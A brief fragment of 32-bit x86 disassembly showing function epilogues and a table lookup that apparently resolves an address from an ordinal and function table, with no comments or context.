jb 0x442e15
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
movzx eax, word [eax + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret